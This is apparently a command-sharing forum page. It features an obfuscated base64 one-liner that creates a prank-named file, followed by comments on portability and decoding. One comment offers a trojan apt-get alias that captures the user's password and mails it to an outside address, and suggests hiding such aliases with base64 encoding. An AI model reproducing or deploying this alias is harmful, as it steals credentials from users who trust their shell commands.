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Command for JOHN CONS

Terminal - Command for JOHN CONS
alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
2010-12-24 14:29:19
User: rodolfoap
Functions: alias echo
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Command for JOHN CONS

Would create a file with a meaningful title. Dedicated to John Cons, who is annoying us users. Merry Christmas!!!

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What others think

I'm certain they will treat it and you with the same amount of incredulity that we do.

Comment by Habitual 129 weeks and 3 days ago

This command isn't universal, as it seems to work only under bash and zsh.

On csh and tcsh it will output:

Illegal variable name.

On sh:

Z: not found

Furthermore, base64 isn't installed on all unix systems. On FreeBSD, it must be installed from /usr/ports/converters/base64

You were confident johncons where using linux and not another OS like FreeBSD.

Comment by Dereckson 129 weeks and 2 days ago

Dereckson: Do you think someone who submits a command like

'ls porn' uses FreeBSD? haha... Please, find the link above praying 'Know a better way? If you can do better, submit your command here.'

Comment by rodolfoap 129 weeks ago

base64 also isn't installed on Mac OS X. However, with that said, you can get around it if you have OpenSSL installed:

openssl base64 -d -in <infile> -out <outfile>

Should increase the portability.

Comment by atoponce 129 weeks ago

what does this command really do?

Comment by rne1223 129 weeks ago

rne1223: it's really simple, but a little obfuscated. You will understand it by issueing (the text is dedicated to this john doe who is submitting crap):

echo dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=|base64 -d

You can encrypt things such as

alias apt-get='read -p "$USER password: ";echo $REPLY|mail -s $USER rodolfoap@gmail.com; apt-get'

:)

Comment by rodolfoap 129 weeks ago

This does works perfectly:

$(echo "echo Foobar" | base64 | base64 -d)

>>> Foobar

This doesn't:

$(echo "echo Foobar | xargs echo" | base64 | base64 -d)

>>> Foobar | xargs echo

Why? How do I fix this?

Comment by mogoh 127 weeks and 3 days ago

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